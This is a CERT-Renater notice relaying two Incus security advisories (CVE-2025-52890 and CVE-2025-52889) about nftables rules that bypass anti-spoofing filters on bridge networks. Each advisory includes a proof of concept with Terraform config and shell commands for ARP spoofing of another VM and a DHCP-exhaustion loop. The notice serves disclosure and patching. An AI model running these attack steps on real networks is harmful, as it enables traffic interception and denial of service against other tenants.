Ce mail provient de l'extérieur, restons vigilants ===================================================================== CERT-Renater Note d'Information No. 2025/VULN402 _____________________________________________________________________ DATE : 27/06/2025 HARDWARE PLATFORM(S): / OPERATING SYSTEM(S): Systems running incusd versions 6.12, 6.13. ===================================================================== https://github.com/lxc/incus/security/advisories/GHSA-p7fw-vjjm-2rwp https://github.com/lxc/incus/security/advisories/GHSA-9q7c-qmhm-jv86 _____________________________________________________________________ Antispoofing nftables firewall rule bypass on bridge networks with ACLs High stgraber published GHSA-p7fw-vjjm-2rwp Jun 25, 2025 Package github.com/lxc/incus/v6/cmd/incusd (Go) Affected versions 6.12, 6.13 Patched versions None Description Summary When using an ACL on a device connected to a bridge, Incus generates nftables rules that partially bypass security options security.mac_filtering, security.ipv4_filtering and security.ipv6_filtering. This can lead to ARP spoofing on the bridge and to fully spoof another VM/container on the same bridge. Details In commit d137a06, a few rules in the bridge input chain are moved to the top of the chain: ct state established,related accept iifname "{{.hostName}}" ether type arp accept iifname "{{.hostName}}" ip6 nexthdr ipv6-icmp icmpv6 type { nd-neighbor-solicit, nd-neighbor-advert } accept However, these rules accept packets that should be filtered and maybe dropped by later rules in the "MAC filtering", "IPv4 filtering" and "IPv6 filtering" snippets: iifname "{{.hostName}}" ether type arp arp saddr ether != {{.hwAddr}} drop iifname "{{.hostName}}" ether type ip6 icmpv6 type 136 @nh,528,48 != {{.hwAddrHex}} drop ... iifname "{{.hostName}}" ether type arp arp saddr ip != { {{.ipv4NetsList}} } drop ... iifname "{{.hostName}}" ether type ip6 icmpv6 type 136 {{.ipv6NetsPrefixList}} drop Basically, the added rules partially bypass the security options security.mac_filtering, security.ipv4_filtering and security.ipv6_filtering. Doing so, they allow an attacker to perform ARP poisoning/spoofing attacks and send malicious Neighbor Advertisement (type 136). PoC With this terraform infrastructure: resource "incus_network_acl" "acl_allow_out" { name = "acl-allow-out" egress = [ { action = "allow" destination = "0.0.0.0-9.255.255.255,11.0.0.0-172.15.255.255,172.32.0.0-192.167.255.255,192.169.0.0-255.255.255.254" state = "enabled" }, ] } resource "incus_network_acl" "acl_allow_in" { name = "acl-allow-in" ingress = [ { action = "allow" state = "enabled" }, ] } resource "incus_network" "br0" { name = "br0" config = { "ipv4.address" = "10.0.0.1/24" "ipv4.nat" = "true" } } resource "incus_instance" "machine1" { name = "machine1" image = "images:archlinux/cloud" type = "virtual-machine" config = { "limits.memory" = "2GiB" "security.secureboot" = false "boot.autostart" = false "cloud-init.vendor-data" = <<-EOF #cloud-config package_update: true packages: - dhclient - tcpdump runcmd: - systemctl disable --now systemd.networkd.service - systemctl disable --now systemd.networkd.socket EOF } device { type = "disk" name = "root" properties = { pool = "default" path = "/" size = "64GiB" } } device { type = "nic" name = "eth0" properties = { network = incus_network.br0.name "security.ipv4_filtering" = true "security.acls" = join(",", [ incus_network_acl.acl_allow_out.name, incus_network_acl.acl_allow_in.name, ]) } } } resource "incus_instance" "machine2" { name = "machine2" image = "images:archlinux/cloud" type = "virtual-machine" config = { "limits.memory" = "2GiB" "security.secureboot" = false "boot.autostart" = false } device { type = "disk" name = "root" properties = { pool = "default" path = "/" size = "64GiB" } } device { type = "nic" name = "eth0" properties = { network = incus_network.br0.name } } } An attacker in a VM (machine1) change their IP address to another VM (machine2)'s IP. The malicious change is reflected in the ARP table of the host, bypassing the MAC filtering. When the host emits or forwards a packet to machine2's IP, it is sent to machine1. In addition, as ct state established,related accept is now the first rule in bridge chain input, machine1 can even answer and thus fully spoof the victim on the network. [HOST]$ ip n 10.0.0.236 dev br0 lladdr 10:66:6a:88:e6:5b REACHABLE # machine2 10.0.0.2 dev br0 lladdr 10:66:6a:89:39:45 REACHABLE # machine1 # Spoof machine2 [MACHINE1]$ ip add del 10.0.0.2/24 dev enp5s0 [MACHINE1]$ ip add add 10.0.0.236/24 dev enp5s0 # Flood [MACHINE1]$ arping 10.0.0.1 # Machine2's IP refers to machine1's MAC in host ARP table [HOST]$ ip n 10.0.0.236 dev br0 lladdr 10:66:6a:89:39:45 STALE # Packets from the host (or forwarded by the host) to machine2 ... [HOST]$ ping 10.0.0.236 PING 10.0.0.236 (10.0.0.236) 56(84) bytes of data. 64 bytes from 10.0.0.236: icmp_seq=1 ttl=64 time=1.19 ms # ... are sent to machine1! [MACHINE1]$ tcpdump -nei enp5s0 listening on enp5s0, link-type EN10MB (Ethernet), snapshot length 262144 bytes 15:15:17.008470 10:66:6a:99:e0:d8 > 10:66:6a:89:39:45, ethertype IPv4 (0x0800), length 98: 10.0.0.1 > 10.0.0.236: ICMP echo request, id 4, seq 1, length 64 15:15:17.008513 10:66:6a:89:39:45 > 10:66:6a:99:e0:d8, ethertype IPv4 (0x0800), length 98: 10.0.0.236 > 10.0.0.1: ICMP echo reply, id 4, seq 1, length 64 Impact All versions since d137a06, so basically v6.12 and v6.13. Severity High 8.1/ 10 CVSS v3 base metrics Attack vector Adjacent Attack complexity Low Privileges required High User interaction None Scope Changed Confidentiality High Integrity None Availability High CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:H CVE ID CVE-2025-52890 Weaknesses No CWEs Credits @obp-anssi obp-anssi Reporter _____________________________________________________________________ DoS through antispoofing nftables firewall rule bypass on bridge networks with ACLs Low stgraber published GHSA-9q7c-qmhm-jv86 Jun 25, 2025 Package github.com/lxc/incus/v6/cmd/incusd (Go) Affected versions 6.12, 6.13 Patched versions None Description Summary When using an ACL on a device connected to a bridge, Incus generates nftables rules for local services (DHCP, DNS...) that partially bypass security options security.mac_filtering, security.ipv4_filtering and security.ipv6_filtering. This can lead to DHCP pool exhaustion and opens the door for other attacks. Details In commit a7c3330, the following rules are added at the top of the bridge input chain: iifname "{{.hostName}}" ether type ip ip saddr 0.0.0.0 ip daddr 255.255.255.255 udp dport 67 accept iifname "{{.hostName}}" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::1:2 udp dport 547 accept iifname "{{.hostName}}" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::2 icmpv6 type 133 accept However, these rules accept packets that should be filtered and maybe dropped by later rules in the "MAC filtering" snippet: iifname "{{.hostName}}" ether type arp arp saddr ether != {{.hwAddr}} drop iifname "{{.hostName}}" ether type ip6 icmpv6 type 136 @nh,528,48 != {{.hwAddrHex}} drop Therefore, the MAC filtering is ineffective on those new rules. This allows an attacker to request as many IP as they want by sending a lot of DHCP requests with different MAC addresses. Doing so, they can exhaust the DHCP pool, resulting in a DoS of the bridge's network. Additionaly, the commit adds non-restricted access to the local dnsmasq DNS server: {{ if .dnsIPv4 }} {{ range .dnsIPv4 }} iifname "{{$.hostName}}" ip daddr "{{.}}" tcp dport 53 accept iifname "{{$.hostName}}" ip daddr "{{.}}" udp dport 53 accept {{ end }} {{ end }} {{ if .dnsIPv6 }} {{ range .dnsIPv6 }} iifname "{{$.hostName}}" ip6 daddr "{{.}}" tcp dport 53 accept iifname "{{$.hostName}}" ip6 daddr "{{.}}" udp dport 53 accept {{ end }} {{ end }} An attacker can send DNS requests with arbitrary MAC and IP addresses as well. These rules should also be after the MAC/IPv4/IPv6 filtering. PoC With this terraform infrastructure: resource "incus_network_acl" "acl_allow_out" { name = "acl-allow-out" egress = [ { action = "allow" destination = "0.0.0.0-9.255.255.255,11.0.0.0-172.15.255.255,172.32.0.0-192.167.255.255,192.169.0.0-255.255.255.254" state = "enabled" }, ] } resource "incus_network_acl" "acl_allow_in" { name = "acl-allow-in" ingress = [ { action = "allow" state = "enabled" }, ] } resource "incus_network" "br0" { name = "br0" config = { "ipv4.address" = "10.0.0.1/24" "ipv4.nat" = "true" } } resource "incus_instance" "machine1" { name = "machine1" image = "images:archlinux/cloud" type = "virtual-machine" config = { "limits.memory" = "2GiB" "security.secureboot" = false "boot.autostart" = false "cloud-init.vendor-data" = <<-EOF #cloud-config package_update: true packages: - dhclient - tcpdump runcmd: - systemctl disable --now systemd.networkd.service - systemctl disable --now systemd.networkd.socket EOF } device { type = "disk" name = "root" properties = { pool = "default" path = "/" size = "64GiB" } } device { type = "nic" name = "eth0" properties = { network = incus_network.br0.name "security.ipv4_filtering" = true "security.acls" = join(",", [ incus_network_acl.acl_allow_out.name, incus_network_acl.acl_allow_in.name, ]) } } } resource "incus_instance" "machine2" { name = "machine2" image = "images:archlinux/cloud" type = "virtual-machine" config = { "limits.memory" = "2GiB" "security.secureboot" = false "boot.autostart" = false } device { type = "disk" name = "root" properties = { pool = "default" path = "/" size = "64GiB" } } device { type = "nic" name = "eth0" properties = { network = incus_network.br0.name } } } An attacker in a VM requests many IP addresses and exhaust the pool: [MACHINE1]$ for i in {0..99}; do for j in {0..99}; do ip link set address 10:66:6a:42:${i}:${j} dev enp5s0 ; dhclient -4 -i --no-pid ; done ; done [HOST]$ cat /var/lib/incus/networks/br0/dnsmasq.leases |wc -l 254 [HOST]$ incus start machine2 At this point, machine2 will not receive a lease from dnsmasq until another lease expires. If machine1 renews their malicious leases, machine2 will never get a lease. Impact All versions since a7c3330, so basically v6.12 and v6.13. Severity Low 3.4/ 10 CVSS v3 base metrics Attack vector Adjacent Attack complexity Low Privileges required High User interaction None Scope Changed Confidentiality None Integrity None Availability Low CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:L CVE ID CVE-2025-52889 Weaknesses No CWEs Credits @obp-anssi obp-anssi Reporter ========================================================= + CERT-RENATER | tel : 01-53-94-20-44 + + 23/25 Rue Daviel | fax : 01-53-94-20-41 + + 75013 Paris | email:cert@support.renater.fr + =========================================================